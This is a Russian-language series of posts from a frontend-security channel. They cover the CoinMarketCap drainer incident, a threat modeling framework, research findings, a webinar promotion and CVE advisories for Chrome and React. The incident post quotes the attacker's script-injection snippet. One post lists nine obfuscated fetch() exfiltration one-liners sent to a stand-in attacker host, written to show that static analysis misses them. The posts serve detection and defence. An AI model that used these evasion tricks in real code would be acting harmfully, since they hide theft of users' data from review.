CoinMarketCap: вредоносный код на фронтенде украл у пользователей 43 000$ за 1 день

Даже если вы не можете сказать про себя "я работаю в криптовалюте" 💸, наверняка вы знаете сервис CoinMarketCap (coinmarketcap.com).

20 июня 2025 (пятница) 20:57 GMT, конец рабочей недели, на главной странице CoinMarketCap стало появляться всплывающее окно , призывающее пользователей «верифицировать свои кошельки», чтобы «сохранить полный доступ» к платформе. Если пользователь соглашался и нажимал нужные кнопки, начинал работать дрейнер 🦠, производилось похищение криптовалюты.

Вредоносный код пришел через "дудл"

Дудл (тематическая картинка рядом с логотипом, приуроченная к различным событиям/праздникам 📆) загружался динамически через запрос к внутреннему API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5.

В какой-то момент API стало возвращать JSON со ссылкой на вредоносный скрипт 📱 на внешнем CDN ("lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json", который в свою очередь динамически добавлял на страницу еще один скрипт злоумышленника:

// Inject the malicious popup noscript
const noscript = document.createElement('noscript');
noscript.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(noscript);

Этот скрипт показывал то самое всплывающее окно в стиле дизайна CoinMarketCap (frontend-фишинг 🤒). В процессе выполнения вредоносных действий также загружались дополнительные js-библиотеки с хоста blockassets[.]app.

Вектор атаки

Так как ссылка на инициирующий вредоносный скрипт возвращалась в ответе внутренней API функции, наиболее вероятно, что бэкенд был скомпрометирован 🤒 или вредонос был добавлен инсайдером 🪪 (сотрудники/подрядчики). CoinMarketCap признали факт инцидента, назвав его "уязвимостью, приводившей к непредвиденному всплывающему окну" 🙃, без раскрытия подробностей и заявили, что "теперь все безопасно и надежно".

Время присутствия: 1 день.
Похищенные средства у пользователей: > 43 000 💵

DPA Frontend Threat Modeling Framework:
🔹Вектор: T-3: Компрометация сервера приложения / T-21: Сотрудник умышленно разместил вредоносный js-код
🔹Способ реализации: T-43: Показ фишинговых форм привязки криптокошелька, T-45: Выполнение действий при клике по кнопке и другие, T-47: Вредоносный код выполняется только при определенных условиях/триггерах

@FrontSecOps

Фреймворк моделирования угроз для frontend-приложений

В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"

А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰

Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣

DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).

Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf

Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз

Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.

@FrontSecOps

Результаты исследования безопасности российских frontend-приложений

Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года.

Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной ❌

⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ

Средняя оценка безопасности по всем отраслям: 39 из 100 ❌

Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.

Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf

@FrontSecOps

Вебинар по FAST-анализатору 12 ноября в 11:00 МСК

12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.

На вебинаре обсудим:

🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?

🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?

🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?

🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.

🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.

🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?

❔ Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.

⏺Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него

Дата: 12 ноября (среда)
Время: 11:00 МСК

Может ли SAST обнаружить вредоносный код?

Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.

1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.

2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).

3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍

4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?

5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?

fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');

window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');

this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');

this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');

globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');

Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');

6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.

7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество.

8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.

eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");

await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');

setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);

9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).

1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁

Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.

Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️

Регистрация на вебинар

@FrontSecOps

Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️

Часть 1. Безопасность frontend-приложений

00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация 📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?

Часть 2. Демо FAST-анализатора

41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код 🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘
53:12 Интерфейс инвентаризации скриптов

Часть 3. FAST в DevSecOps

53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора 🛡
55:55 Требования регуляторов
56:58 Полезные ссылки

58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе

01:01:05 Ответы на вопросы

Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps

Седьмой zeroday в Chrome за 2025 год

CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥

Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣

Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.

Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно).

Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️

@FrontSecOps

⚠️⚠️⚠️ Критическая уязвимость в React Server Components и Next.js

Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере ♥️

CVE-2025-55182 / CVSS 10.0 ☄️
Эксплойт доступен 💣

Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов:
🔸 react-server-dom-webpack
🔸 react-server-dom-parcel
🔸 react-server-dom-turbopack

Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.

Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни.

Подробности:
🔸 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
🔸 https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

@FrontSecOps